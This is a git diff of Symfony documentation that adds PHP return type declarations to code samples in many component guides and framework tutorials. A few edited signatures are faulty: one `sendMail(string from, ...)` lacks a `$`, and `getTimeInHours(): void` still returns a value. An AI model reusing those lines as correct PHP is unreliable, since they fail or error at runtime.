@@ -111,7 +111,7 @@ that will do the required processing for your message::
 
     class MyMessageHandler
     {
-        public function __invoke(MyMessage $message)
+        public function __invoke(MyMessage $message): void
         {
             // Message processing...
         }
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 050e7d0acc2..a71a08f7b77 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -121,7 +121,7 @@ code::
     {
         // ...
 
-        public function sendMail($from, $to)
+        public function sendMail($from, $to): void
         {
             $mail = ...;
             $mail->setHost($this->options['host']);
@@ -147,7 +147,7 @@ It's a good practice to split the option configuration into a separate method::
             $this->options = $resolver->resolve($options);
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'host'       => 'smtp.example.org',
@@ -166,7 +166,7 @@ than processing options. Second, sub-classes may now override the
     // ...
     class GoogleMailer extends Mailer
     {
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             parent::configureOptions($resolver);
 
@@ -189,7 +189,7 @@ For example, to make the ``host`` option required, you can do::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
             $resolver->setRequired('host');
@@ -213,7 +213,7 @@ one required option::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
             $resolver->setRequired(['host', 'username', 'password']);
@@ -228,7 +228,7 @@ retrieve the names of all required options::
     // ...
     class GoogleMailer extends Mailer
     {
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             parent::configureOptions($resolver);
 
@@ -251,7 +251,7 @@ been set::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
             $resolver->setRequired('host');
@@ -261,7 +261,7 @@ been set::
     // ...
     class GoogleMailer extends Mailer
     {
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             parent::configureOptions($resolver);
 
@@ -296,7 +296,7 @@ correctly. To validate the types of the options, call
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
 
@@ -347,7 +347,7 @@ to verify that the passed option contains one of these values::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
             $resolver->setDefault('transport', 'sendmail');
@@ -408,7 +408,7 @@ option. You can configure a normalizer by calling
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
 
@@ -430,7 +430,7 @@ if you need to use other options during normalization::
     class Mailer
     {
         // ...
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
             $resolver->setNormalizer('host', function (Options $options, string $value): string {
@@ -470,7 +470,7 @@ these options, you can return the desired default value::
     class Mailer
     {
         // ...
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
             $resolver->setDefault('encryption', null);
@@ -502,7 +502,7 @@ the closure::
     class Mailer
     {
         // ...
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
             $resolver->setDefaults([
@@ -514,7 +514,7 @@ the closure::
 
     class GoogleMailer extends Mailer
     {
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             parent::configureOptions($resolver);
 
@@ -545,14 +545,14 @@ from the default::
     class Mailer
     {
         // ...
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
             $resolver->setDefault('port', 25);
         }
 
         // ...
-        public function sendMail($from, $to)
+        public function sendMail(string $from, string $to): void
         {
             // Is this the default value or did the caller of the class really
             // set the port to 25?
@@ -572,14 +572,14 @@ be included in the resolved options if it was actually passed to
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
             $resolver->setDefined('port');
         }
 
         // ...
-        public function sendMail($from, $to)
+        public function sendMail(string from, string $to): void
         {
             if (array_key_exists('port', $this->options)) {
                 echo 'Set!';
@@ -606,7 +606,7 @@ options in one go::
     class Mailer
     {
         // ...
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
             $resolver->setDefined(['port', 'encryption']);
@@ -622,7 +622,7 @@ let you find out which options are defined::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             parent::configureOptions($resolver);
 
@@ -652,7 +652,7 @@ default value::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefault('spool', function (OptionsResolver $spoolResolver): void {
                 $spoolResolver->setDefaults([
@@ -664,7 +664,7 @@ default value::
             });
         }
 
-        public function sendMail($from, $to)
+        public function sendMail(string $from, string $to): void
         {
             if ('memory' === $this->options['spool']['type']) {
                 // ...
@@ -687,7 +687,7 @@ to the closure to access to them::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefault('sandbox', false);
             $resolver->setDefault('spool', function (OptionsResolver $spoolResolver, Options $parent): void {
@@ -711,7 +711,7 @@ In same way, parent options can access to the nested options as normal arrays::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefault('spool', function (OptionsResolver $spoolResolver): void {
                 $spoolResolver->setDefaults([
@@ -856,7 +856,7 @@ method::
     class InvoiceMailer
     {
         // ...
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
             $resolver->define('host')
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 4a4411fbe1a..cdc99497892 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -418,7 +418,7 @@ times (order matters)::
         /**
          * @group legacy
          */
-        public function testDeprecatedCode()
+        public function testDeprecatedCode(): void
         {
             // test some code that triggers the following deprecation:
             // trigger_deprecation('vendor-name/package-name', '5.1', 'This "Foo" method is deprecated.');
@@ -504,7 +504,7 @@ If you have this kind of time-related tests::
 
     class MyTest extends TestCase
     {
-        public function testSomething()
+        public function testSomething(): void
         {
             $stopwatch = new Stopwatch();
 
@@ -575,7 +575,7 @@ test::
      */
     class MyTest extends TestCase
     {
-        public function testSomething()
+        public function testSomething(): void
         {
             $stopwatch = new Stopwatch();
 
@@ -603,7 +603,7 @@ different class, do it explicitly using ``ClockMock::register(MyClass::class)``:
 
     class MyClass
     {
-        public function getTimeInHours()
+        public function getTimeInHours(): void
         {
             return time() / 3600;
         }
@@ -621,7 +621,7 @@ different class, do it explicitly using ``ClockMock::register(MyClass::class)``:
      */
     class MyTest extends TestCase
     {
-        public function testGetTimeInHours()
+        public function testGetTimeInHours(): void
         {
             ClockMock::register(MyClass::class);
 
@@ -669,7 +669,7 @@ associated to a valid host::
 
     class MyTest extends TestCase
     {
-        public function testEmail()
+        public function testEmail(): void
         {
             $validator = new DomainValidator(['checkDnsRecord' => true]);
             $isValid = $validator->validate('example.com');
@@ -691,7 +691,7 @@ the data you expect to get for the given hosts::
      */
     class DomainValidatorTest extends TestCase
     {
-        public function testEmails()
+        public function testEmails(): void
         {
             DnsMock::withMockedHosts([
                 'example.com' => [['type' => 'A', 'ip' => '1.2.3.4']],
@@ -761,7 +761,7 @@ are installed during tests) would look like::
 
     class MyClassTest extends TestCase
     {
-        public function testHello()
+        public function testHello(): void
         {
             $class = new MyClass();
             $result = $class->hello(); // "The dependency behavior."
@@ -782,7 +782,7 @@ classes, interfaces and/or traits for the code to run::
     {
         // ...
 
-        public function testHelloDefault()
+        public function testHelloDefault(): void
         {
             ClassExistsMock::register(MyClass::class);
             ClassExistsMock::withMockedClasses([DependencyClass::class => false]);
@@ -940,7 +940,7 @@ Consider the following example::
 
     class Bar
     {
-        public function barMethod()
+        public function barMethod(): string
         {
             return 'bar';
         }
@@ -953,7 +953,7 @@ Consider the following example::
         ) {
         }
 
-        public function fooMethod()
+        public function fooMethod(): string
         {
             $this->bar->barMethod();
 
@@ -963,7 +963,7 @@ Consider the following example::
 
     class FooTest extends PHPUnit\Framework\TestCase
     {
-        public function test()
+        public function test(): void
         {
             $bar = new Bar();
             $foo = new Foo($bar);
diff --git a/components/property_access.rst b/components/property_access.rst
index bf1453d17ee..dcaf1576128 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -120,7 +120,7 @@ it with ``get``. So the actual method becomes ``getFirstName()``::
     {
         private string $firstName = 'Wouter';
 
-        public function getFirstName()
+        public function getFirstName(): string
         {
             return $this->firstName;
         }
@@ -143,12 +143,12 @@ getters, this means that you can do something like this::
         private bool $author = true;
         private array $children = [];
 
-        public function isAuthor()
+        public function isAuthor(): bool
         {
             return $this->author;
         }
 
-        public function hasChildren()
+        public function hasChildren(): bool
         {
             return 0 !== count($this->children);
         }
@@ -237,7 +237,7 @@ The ``getValue()`` method can also use the magic ``__get()`` method::
             'Wouter' => [...],
         ];
 
-        public function __get($id)
+        public function __get($id): mixed
         {
             return $this->children[$id];
         }
@@ -267,7 +267,7 @@ enable this feature by using :class:`Symfony\\Component\\PropertyAccess\\Propert
             'wouter' => [...],
         ];
 
-        public function __call($name, $args)
+        public function __call($name, $args): mixed
         {
             $property = lcfirst(substr($name, 3));
             if ('get' === substr($name, 0, 3)) {
@@ -364,7 +364,7 @@ see `Enable other Features`_::
     {
         private array $children = [];
 
-        public function __call($name, $args)
+        public function __call($name, $args): mixed
         {
             $property = lcfirst(substr($name, 3));
             if ('get' === substr($name, 0, 3)) {
diff --git a/components/serializer.rst b/components/serializer.rst
index 33fc71e4b69..d285cb56fa1 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -86,7 +86,7 @@ exists in your project::
             return $this->name;
         }
 
-        public function getCreatedAt()
+        public function getCreatedAt(): ?\DateTimeInterface
         {
             return $this->createdAt;
         }
@@ -248,12 +248,12 @@ Assume you have the following plain-old-PHP object::
 
         private string $bar;
 
-        public function getBar()
+        public function getBar(): string
         {
             return $this->bar;
         }
 
-        public function setBar($bar)
+        public function setBar($bar): string
         {
             return $this->bar = $bar;
         }
@@ -1308,22 +1308,22 @@ Circular references are common when dealing with entity relations::
         private string $name;
         private array $members;
 
-        public function setName($name)
+        public function setName($name): void
         {
             $this->name = $name;
         }
 
-        public function getName()
+        public function getName(): string
         {
             return $this->name;
         }
 
-        public function setMembers(array $members)
+        public function setMembers(array $members): void
         {
             $this->members = $members;
         }
 
-        public function getMembers()
+        public function getMembers(): array
         {
             return $this->members;
         }
@@ -1334,22 +1334,22 @@ Circular references are common when dealing with entity relations::
         private string $name;
         private Organization $organization;
 
-        public function setName(string $name)
+        public function setName(string $name): void
         {
             $this->name = $name;
         }
 
-        public function getName()
+        public function getName(): string
         {
             return $this->name;
         }
 
-        public function setOrganization(Organization $organization)
+        public function setOrganization(Organization $organization): void
         {
             $this->organization = $organization;
         }
 
-        public function getOrganization()
+        public function getOrganization(): Organization
         {
             return $this->organization;
         }
@@ -1641,24 +1641,24 @@ parameter of the ``ObjectNormalizer``::
         private ObjectInner $inner;
         private \DateTimeInterface $date;
 
-        public function getInner()
+        public function getInner(): ObjectInner
         {
             return $this->inner;
         }
 
-        public function setInner(ObjectInner $inner)
+        public function setInner(ObjectInner $inner): void
         {
             $this->inner = $inner;
         }
 
-        public function setDate(\DateTimeInterface $date)
+        public function getDate(): \DateTimeInterface
         {
-            $this->date = $date;
+            return $this->date;
         }
 
-        public function getDate()
+        public function setDate(\DateTimeInterface $date): void
         {
-            return $this->date;
+            $this->date = $date;
         }
     }
 
diff --git a/components/string.rst b/components/string.rst
index bea4705ff05..5af19fc617d 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -554,7 +554,7 @@ the injected slugger is the same as the request locale::
         ) {
         }
 
-        public function someMethod()
+        public function someMethod(): void
         {
             $slug = $this->slugger->slug('...');
         }
diff --git a/components/validator/metadata.rst b/components/validator/metadata.rst
index 5a88dab76ed..e7df42413bc 100755
--- a/components/validator/metadata.rst
+++ b/components/validator/metadata.rst
@@ -19,7 +19,7 @@ the ``Author`` class has at least 3 characters::
     {
         private string $firstName;
 
-        public static function loadValidatorMetadata(ClassMetadata $metadata)
+        public static function loadValidatorMetadata(ClassMetadata $metadata): void
         {
             $metadata->addPropertyConstraint('firstName', new Assert\NotBlank());
             $metadata->addPropertyConstraint(
@@ -40,7 +40,7 @@ Suppose that, for security reasons, you want to validate that a password field
 doesn't match the first name of the user. First, create a public method called
 ``isPasswordSafe()`` to define this custom validation logic::
 
-    public function isPasswordSafe()
+    public function isPasswordSafe(): bool
     {
         return $this->firstName !== $this->password;
     }
@@ -53,7 +53,7 @@ Then, add the Validator component configuration to the class::
 
     class Author
     {
-        public static function loadValidatorMetadata(ClassMetadata $metadata)
+        public static function loadValidatorMetadata(ClassMetadata $metadata): void
         {
             $metadata->addGetterConstraint('passwordSafe', new Assert\IsTrue([
                 'message' => 'The password cannot match your first name',
@@ -74,7 +74,7 @@ validation logic::
         // ...
         use Symfony\Component\Validator\Context\ExecutionContextInterface;
 
-        public function validate(ExecutionContextInterface $context)
+        public function validate(ExecutionContextInterface $context): void
         {
             // ...
         }
@@ -87,7 +87,7 @@ Then, add the Validator component configuration to the class::
 
     class Author
     {
-        public static function loadValidatorMetadata(ClassMetadata $metadata)
+        public static function loadValidatorMetadata(ClassMetadata $metadata): void
         {
             $metadata->addConstraint(new Assert\Callback('validate'));
         }
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index 5557fbdc24d..24e6f022e70 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -294,7 +294,7 @@ Example::
     {
         use VarDumperTestTrait;
 
-        protected function setUp()
+        protected function setUp(): void
         {
             $casters = [
                 \DateTimeInterface::class => static function (\DateTimeInterface $date, array $a, Stub $stub): array {
@@ -311,7 +311,7 @@ Example::
             $this->setUpVarDumper($casters, $flags);
         }
 
-        public function testWithDumpEquals()
+        public function testWithDumpEquals(): void
         {
             $testedVar = [123, 'foo'];
 
@@ -797,7 +797,7 @@ Here is a simple caster not doing anything::
 
     use Symfony\Component\VarDumper\Cloner\Stub;
 
-    function myCaster($object, $array, Stub $stub, $isNested, $filter)
+    function myCaster(mixed $object, array $array, Stub $stub, bool $isNested, int $filter): array
     {
         // ... populate/alter $array to your needs
 
@@ -861,7 +861,7 @@ that holds a file name or a URL, you can wrap them in a ``LinkStub`` to tell
     use Symfony\Component\VarDumper\Caster\LinkStub;
     use Symfony\Component\VarDumper\Cloner\Stub;
 
-    function ProductCaster(Product $object, $array, Stub $stub, $isNested, $filter = 0)
+    function ProductCaster(Product $object, array $array, Stub $stub, bool $isNested, int $filter = 0): array
     {
         $array['brochure'] = new LinkStub($array['brochure']);
 
diff --git a/configuration.rst b/configuration.rst
index 8cb078a88f7..ee645c0aa21 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -1068,7 +1068,7 @@ parameters at once by type-hinting any of its constructor arguments with the
         ) {
         }
 
-        public function someMethod()
+        public function someMethod(): void
         {
             // get any container parameter from $this->params, which stores all of them
             $sender = $this->params->get('mailer_sender');
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 937c0e341f6..3da4ed6b1c1 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -848,14 +848,14 @@ create a class that implements
 
     class LowercasingEnvVarProcessor implements EnvVarProcessorInterface
     {
-        public function getEnv(string $prefix, string $name, \Closure $getEnv)
+        public function getEnv(string $prefix, string $name, \Closure $getEnv): string
         {
             $env = $getEnv($name);
 
             return strtolower($env);
         }
 
-        public static function getProvidedTypes()
+        public static function getProvidedTypes(): array
         {
             return [
                 'lowercase' => 'string',
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index ac0d50e1671..feda47d5f16 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -247,7 +247,7 @@ Now it looks like this::
             return $bundles;
         }
 
-        protected function build(ContainerBuilder $containerBuilder)
+        protected function build(ContainerBuilder $containerBuilder): void
         {
             $containerBuilder->registerExtension(new AppExtension());
         }
diff --git a/configuration/using_parameters_in_dic.rst b/configuration/using_parameters_in_dic.rst
index 852b06506ce..3cac5d5049c 100644
--- a/configuration/using_parameters_in_dic.rst
+++ b/configuration/using_parameters_in_dic.rst
@@ -107,7 +107,7 @@ be injected with this parameter via the extension as follows::
         {
         }
 
-        public function getConfigTreeBuilder()
+        public function getConfigTreeBuilder(): TreeBuilder
         {
             $treeBuilder = new TreeBuilder('my_bundle');
 
@@ -134,7 +134,7 @@ And set it in the constructor of ``Configuration`` via the ``Extension`` class::
     {
         // ...
 
-        public function getConfiguration(array $config, ContainerBuilder $container)
+        public function getConfiguration(array $config, ContainerBuilder $container): Configuration
         {
             return new Configuration($container->getParameter('kernel.debug'));
         }
diff --git a/console.rst b/console.rst
index 77a0a3ee605..2ab065cedbb 100644
--- a/console.rst
+++ b/console.rst
@@ -489,7 +489,7 @@ console::
 
     class CreateUserCommandTest extends KernelTestCase
     {
-        public function testExecute()
+        public function testExecute(): void
         {
             $kernel = self::bootKernel();
             $application = new Application($kernel);
diff --git a/console/input.rst b/console/input.rst
index 2e6d9a1a438..cd5f8f71586 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -386,7 +386,7 @@ to help you unit test the completion logic::
 
     class GreetCommandTest extends TestCase
     {
-        public function testComplete()
+        public function testComplete(): void
         {
             $application = new Application();
             $application->add(new GreetCommand());
diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 7d16e0f9d0b..39d96d9e247 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -111,7 +111,7 @@ short example containing most features described below::
         /**
          * Performs some basic operations for a given value.
          */
-        private function performOperations(mixed $value = null, bool $theSwitch = false)
+        private function performOperations(mixed $value = null, bool $theSwitch = false): void
         {
             if (!$theSwitch) {
                 return;
diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index 4a5d3c43a31..46d152fe844 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -109,7 +109,7 @@ Example
     {
         // ...
 
-        public function foo($bar)
+        public function foo($bar): mixed
         {
             // set foo with a value of bar
             $foo = ...;
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index dc132e3d021..56148422aed 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -58,7 +58,7 @@ so Symfony doesn't try to get/set its value from the related entity::
 
     class ProductType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 // ...
@@ -327,9 +327,10 @@ Now you're ready to use this service in the controller::
 
     use App\Service\FileUploader;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
 
     // ...
-    public function new(Request $request, FileUploader $fileUploader)
+    public function new(Request $request, FileUploader $fileUploader): Response
     {
         // ...
 
diff --git a/create_framework/event_dispatcher.rst b/create_framework/event_dispatcher.rst
index e4921097a33..650e4c7554e 100644
--- a/create_framework/event_dispatcher.rst
+++ b/create_framework/event_dispatcher.rst
@@ -53,7 +53,7 @@ the Response instance::
         ) {
         }
 
-        public function handle(Request $request)
+        public function handle(Request $request): Response
         {
             $this->matcher->getContext()->fromRequest($request);
 
@@ -95,12 +95,12 @@ now dispatched::
         ) {
         }
 
-        public function getResponse()
+        public function getResponse(): Response
         {
             return $this->response;
         }
 
-        public function getRequest()
+        public function getRequest(): Request
         {
             return $this->request;
         }
@@ -195,7 +195,7 @@ Let's refactor the code a bit by moving the Google listener to its own class::
 
     class GoogleListener
     {
-        public function onResponse(ResponseEvent $event)
+        public function onResponse(ResponseEvent $event): void
         {
             $response = $event->getResponse();
 
@@ -217,7 +217,7 @@ And do the same with the other listener::
 
     class ContentLengthListener
     {
-        public function onResponse(ResponseEvent $event)
+        public function onResponse(ResponseEvent $event): void
         {
             $response = $event->getResponse();
             $headers = $response->headers;
@@ -259,7 +259,7 @@ look at the new version of the ``GoogleListener``::
     {
         // ...
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return ['response' => 'onResponse'];
         }
@@ -276,7 +276,7 @@ And here is the new version of ``ContentLengthListener``::
     {
         // ...
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return ['response' => ['onResponse', -255]];
         }
diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst
index 2859c18553b..53c86ebb8b9 100644
--- a/create_framework/http_foundation.rst
+++ b/create_framework/http_foundation.rst
@@ -61,7 +61,7 @@ unit test for the above code::
 
     class IndexTest extends TestCase
     {
-        public function testHello()
+        public function testHello(): void
         {
             $_GET['name'] = 'Fabien';
 
diff --git a/create_framework/http_kernel_controller_resolver.rst b/create_framework/http_kernel_controller_resolver.rst
index 12d9efead6e..1c2857c9ed9 100644
--- a/create_framework/http_kernel_controller_resolver.rst
+++ b/create_framework/http_kernel_controller_resolver.rst
@@ -10,7 +10,7 @@ class::
 
     class LeapYearController
     {
-        public function index($request)
+        public function index($request): Response
         {
             if (is_leap_year($request->attributes->get('year'))) {
                 return new Response('Yep, this is a leap year!');
@@ -112,26 +112,26 @@ More interesting, ``getArguments()`` is also able to inject any Request
 attribute; if the argument has the same name as the corresponding
 attribute::
 
-    public function index($year)
+    public function index(int $year)
 
 You can also inject the Request and some attributes at the same time (as the
 matching is done on the argument name or a type hint, the arguments order does
 not matter)::
 
-    public function index(Request $request, $year)
+    public function index(Request $request, int $year)
 
-    public function index($year, Request $request)
+    public function index(int $year, Request $request)
 
 Finally, you can also define default values for any argument that matches an
 optional attribute of the Request::
 
-    public function index($year = 2012)
+    public function index(int $year = 2012)
 
 Let's inject the ``$year`` request attribute for our controller::
 
     class LeapYearController
     {
-        public function index($year)
+        public function index(int $year): Response
         {
             if (is_leap_year($year)) {
                 return new Response('Yep, this is a leap year!');
@@ -165,7 +165,7 @@ Let's conclude with the new version of our framework::
     use Symfony\Component\HttpKernel;
     use Symfony\Component\Routing;
 
-    function render_template(Request $request)
+    function render_template(Request $request): Response
     {
         extract($request->attributes->all(), EXTR_SKIP);
         ob_start();
diff --git a/create_framework/http_kernel_httpkernel_class.rst b/create_framework/http_kernel_httpkernel_class.rst
index fdb2a0b3f5d..fa673f9ba57 100644
--- a/create_framework/http_kernel_httpkernel_class.rst
+++ b/create_framework/http_kernel_httpkernel_class.rst
@@ -96,7 +96,7 @@ The error controller reads as follows::
 
     class ErrorController
     {
-        public function exception(FlattenException $exception)
+        public function exception(FlattenException $exception): Response
         {
             $msg = 'Something went wrong! ('.$exception->getMessage().')';
 
@@ -133,7 +133,7 @@ instead of a full Response object::
 
     class LeapYearController
     {
-        public function index($year)
+        public function index(int $year): string
         {
             $leapYear = new LeapYear();
             if ($leapYear->isLeapYear($year)) {
@@ -158,7 +158,7 @@ only if needed::
 
     class StringResponseListener implements EventSubscriberInterface
     {
-        public function onView(ViewEvent $event)
+        public function onView(ViewEvent $event): void
         {
             $response = $event->getControllerResult();
 
@@ -167,7 +167,7 @@ only if needed::
             }
         }
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return ['kernel.view' => 'onView'];
         }
diff --git a/create_framework/http_kernel_httpkernelinterface.rst b/create_framework/http_kernel_httpkernelinterface.rst
index f883b4a2e1d..4f9e1c731bf 100644
--- a/create_framework/http_kernel_httpkernelinterface.rst
+++ b/create_framework/http_kernel_httpkernelinterface.rst
@@ -76,7 +76,7 @@ to cache a response for 10 seconds, use the ``Response::setTtl()`` method::
     // example.com/src/Calendar/Controller/LeapYearController.php
 
     // ...
-    public function index(Request $request, $year)
+    public function index(Request $request, int $year): Response
     {
         $leapYear = new LeapYear();
         if ($leapYear->isLeapYear($year)) {
diff --git a/create_framework/separation_of_concerns.rst b/create_framework/separation_of_concerns.rst
index 76098683226..e0937fbdf45 100644
--- a/create_framework/separation_of_concerns.rst
+++ b/create_framework/separation_of_concerns.rst
@@ -34,7 +34,7 @@ request handling logic into its own ``Simplex\Framework`` class::
         ) {
         }
 
-        public function handle(Request $request)
+        public function handle(Request $request): Response
         {
             $this->matcher->getContext()->fromRequest($request);
 
@@ -102,7 +102,7 @@ Move the controller to ``Calendar\Controller\LeapYearController``::
 
     class LeapYearController
     {
-        public function index(Request $request, $year)
+        public function index(Request $request, int $year): Response
         {
             $leapYear = new LeapYear();
             if ($leapYear->isLeapYear($year)) {
@@ -120,7 +120,7 @@ And move the ``is_leap_year()`` function to its own class too::
 
     class LeapYear
     {
-        public function isLeapYear($year = null)
+        public function isLeapYear(int $year = null): bool
         {
             if (null === $year) {
                 $year = date('Y');
diff --git a/create_framework/templating.rst b/create_framework/templating.rst
index 908a17f2a8e..0261496e1b4 100644
--- a/create_framework/templating.rst
+++ b/create_framework/templating.rst
@@ -38,7 +38,7 @@ that renders a template when there is no specific logic. To keep the same
 template as before, request attributes are extracted before the template is
 rendered::
 
-    function render_template($request)
+    function render_template(Request $request): Response
     {
         extract($request->attributes->all(), EXTR_SKIP);
         ob_start();
@@ -106,7 +106,7 @@ Here is the updated and improved version of our framework::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing;
 
-    function render_template($request)
+    function render_template(Request $request): Response
     {
         extract($request->attributes->all(), EXTR_SKIP);
         ob_start();
@@ -145,7 +145,7 @@ framework does not need to be modified in any way, create a new
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing;
 
-    function is_leap_year($year = null)
+    function is_leap_year(int $year = null): bool
     {
         if (null === $year) {
             $year = date('Y');
diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index 6eec1e91333..5c783c5279a 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -87,7 +87,7 @@ We are now ready to write our first test::
 
     class FrameworkTest extends TestCase
     {
-        public function testNotFoundHandling()
+        public function testNotFoundHandling(): void
         {
             $framework = $this->getFrameworkForException(new ResourceNotFoundException());
 
@@ -96,7 +96,7 @@ We are now ready to write our first test::
             $this->assertEquals(404, $response->getStatusCode());
         }
 
-        private function getFrameworkForException($exception)
+        private function getFrameworkForException($exception): Framework
         {
             $matcher = $this->createMock(Routing\Matcher\UrlMatcherInterface::class);
 
@@ -137,7 +137,7 @@ either in the test or in the framework code!
 
 Adding a unit test for any exception thrown in a controller::
 
-    public function testErrorHandling()
+    public function testErrorHandling(): void
     {
         $framework = $this->getFrameworkForException(new \RuntimeException());
 
@@ -154,7 +154,7 @@ Response::
     use Symfony\Component\HttpKernel\Controller\ControllerResolver;
     // ...
 
-    public function testControllerResponse()
+    public function testControllerResponse(): void
     {
         $matcher = $this->createMock(Routing\Matcher\UrlMatcherInterface::class);
 
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 896dff71d29..ef9f74c4ae9 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -732,7 +732,7 @@ this::
             return $this->message;
         }
 
-        public function setMessage(string $message)
+        public function setMessage(string $message): void
         {
             $this->message = $message;
         }
@@ -757,7 +757,7 @@ And the ``AfterSendMailEvent`` even like this::
             return $this->returnValue;
         }
 
-        public function setReturnValue(mixed $returnValue)
+        public function setReturnValue(mixed $returnValue): void
         {
             $this->returnValue = $returnValue;
         }
diff --git a/form/data_mappers.rst b/form/data_mappers.rst
index b5936ccec2c..cb5c7936701 100644
--- a/form/data_mappers.rst
+++ b/form/data_mappers.rst
@@ -189,7 +189,7 @@ fields and only one of them needs to be mapped in some special way or you only
 need to change how it's written into the underlying object. In that case, register
 a PHP callable that is able to write or read to/from that specific object::
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
diff --git a/form/embedded.rst b/form/embedded.rst
index 4263bb42b5d..dd163235f03 100644
--- a/form/embedded.rst
+++ b/form/embedded.rst
@@ -44,7 +44,7 @@ Next, add a new ``category`` property to the ``Task`` class::
             return $this->category;
         }
 
-        public function setCategory(?Category $category)
+        public function setCategory(?Category $category): void
         {
             $this->category = $category;
         }
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 048a3c7c0d0..3c38bbbaf17 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -44,7 +44,7 @@ The simplest ``TypeTestCase`` implementation looks like the following::
 
     class TestedTypeTest extends TypeTestCase
     {
-        public function testSubmitValidData()
+        public function testSubmitValidData(): void
         {
             $formData = [
                 'test' => 'test',
@@ -68,7 +68,7 @@ The simplest ``TypeTestCase`` implementation looks like the following::
             $this->assertEquals($expected, $model);
         }
 
-        public function testCustomFormView()
+        public function testCustomFormView(): void
         {
             $formData = new TestObject();
             // ... prepare the data as you need
@@ -164,7 +164,7 @@ make sure the ``FormRegistry`` uses the created instance::
             parent::setUp();
         }
 
-        protected function getExtensions()
+        protected function getExtensions(): array
         {
             // create a type instance with the mocked dependencies
             $type = new TestedType($this->objectManager);
@@ -175,7 +175,7 @@ make sure the ``FormRegistry`` uses the created instance::
             ];
         }
 
-        public function testSubmitValidData()
+        public function testSubmitValidData(): void
         {
             // ...
 
